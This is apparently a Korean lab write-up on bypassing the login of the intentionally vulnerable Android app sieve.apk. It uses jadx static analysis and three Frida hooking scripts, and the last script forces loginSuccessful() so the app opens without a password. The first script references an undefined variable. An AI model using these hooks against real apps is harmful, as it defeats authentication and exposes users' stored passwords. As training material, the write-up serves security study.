Search

비밀번호 인증 회피 (Hooking 활용 sieve.apk 공격)

카테고리
[실습] 모바일 앱 공격 위협
상태
완료
게시일
2024/05/09
태그
Hooking, 모바일, 안드로이드

0) 실습 준비

어플 설치 후 기본 비밀번호와 핀번호를 설정한다
로그인을 진행하면 Your Passwords 화면을 확인할 수 있고 비밀번호를 저장할 수 있다 (각 서비스별 비밀번호를 저장할 수 있는 프로그램으로 보인다)
Add new Password 화면에서 test용 데이터를 저장한다
정상적으로 등록된 것을 확인
'앱 정보' 에서 어플을 강제 종료 후 다시 실행한다
다시 어플을 실행하면 설정했던 초기 비밀번호를 입력 후 내가 저장했던 데이터를 확인할 수 있도록 설계되어있음을 확인할 수 있다

1) 정적분석 시작 (jadx-gui)

jadx를 이용, 정적분석을 시작한다
소스코드 중 로그인과 관련되어 보이는 클래스를 중심으로 분석

2) Hooking 용 .py 파일 작성

해당 파일들 분석결과 onCreate() 함수를 통해 각 화면을 구현하고 있는 것으로 추정된다 (아래는 WelcomeActivity의 onCreate 함수)
onCreate()를 Hooking 하는 파이썬 파일 생성
Hooking 성공 시 onCreate 함수가 변조되어 화면이 구성되지 않을 것이다
이점을 이용해 각 클래스가 어떤 화면을 구성하고 있는지 확인한다
import frida, sys jscode = """ setImmediate(function(){ Java.perform(function() { console.log("[*] Hooking Start"); var loginBypass = Java.use("com.mwr.example.sieve.ShortLoginActivity"); // WelcomeActivity, MainLoginActivity 도 순차적으로 체크 exitBypass.onCreate.implementation = function() { console.log("[*] Hooking Success"); } }) }); """ device = frida.get_usb_device(1) process = device.attach("Sieve") print(process) script = process.create_script(jscode) script.load() sys.stdin.read()
Python
복사

3) 타켓 클래스 선정

3-1) ShortLoginActivity

ShortLoginActivity의 경우 비밀번호 설정 후 어플을 껐다 키면, 핀번호만 인증하는 화면으로 접속되는데, 해당 화면 접속이 불가하고 "Hooking Success" 출력을 확인할 수 있었다

3-2) WelcomeActivity

WelcomeActivity의 경우에는 어플을 삭제 후 재설치 시 해당 증상이 나타나는 것을 확인할 수 있었음
즉 초기 비밀번호 설정 후 어플 재시작 시 인증을 구현하는 화면은 MainLoginActivity 임을 확인할 수 있다

4) 타겟 클래스 Hooking

해당 클래스에서 login을 구현하는 메소드를 분석한다
로그인, 로그인 성공, 로그인 실패를 구현하는 메소드를 확인할 수 있었다
login 메소드를 Hooking 하여 "Sing in" 버튼을 클릭 시 login 메소드가 동작하는 것을 확인
import frida, sys jscode = """ setImmediate(function(){ Java.perform(function() { console.log("[*] Hooking Start"); var loginBypass = Java.use("com.mwr.example.sieve.MainLoginActivity"); loginBypass.login.implementation = function() { console.log("[*] Hooking Success"); } }) }); """ device = frida.get_usb_device(1) process = device.attach("Sieve") print(process) script = process.create_script(jscode) script.load() sys.stdin.read()
Python
복사

5) login 메소드 Hooking 을 통한 인증 우회

에서 확인했듯, "Sing in" 버튼을 눌렀을 때 login() 함수가 실행되며 최종적으로 loginSuccessful() 이 실행되도록 Hooking 해야함을 알 수 있다
login() 함수가 실행되었을 때 loginSuccessful()가 실행될 수 있도록 implementation(재정의) 한다
import frida, sys jscode = """ setImmediate(function(){ Java.perform(function() { console.log("[*] Hooking Start"); var loginBypass = Java.use("com.mwr.example.sieve.MainLoginActivity"); loginBypass.login.implementation = function() { console.log("[*] Hooking Success"); this.loginSuccessful(); } }) }); """ device = frida.get_usb_device(1) process = device.attach("Sieve") print(process) script = process.create_script(jscode) script.load() sys.stdin.read()
Python
복사
해당 파이썬 파일 실행 후 "Sign in" 버튼 클릭 시 비밀번호를 입력하지 않았음에도 내부로 접속할 수 있었다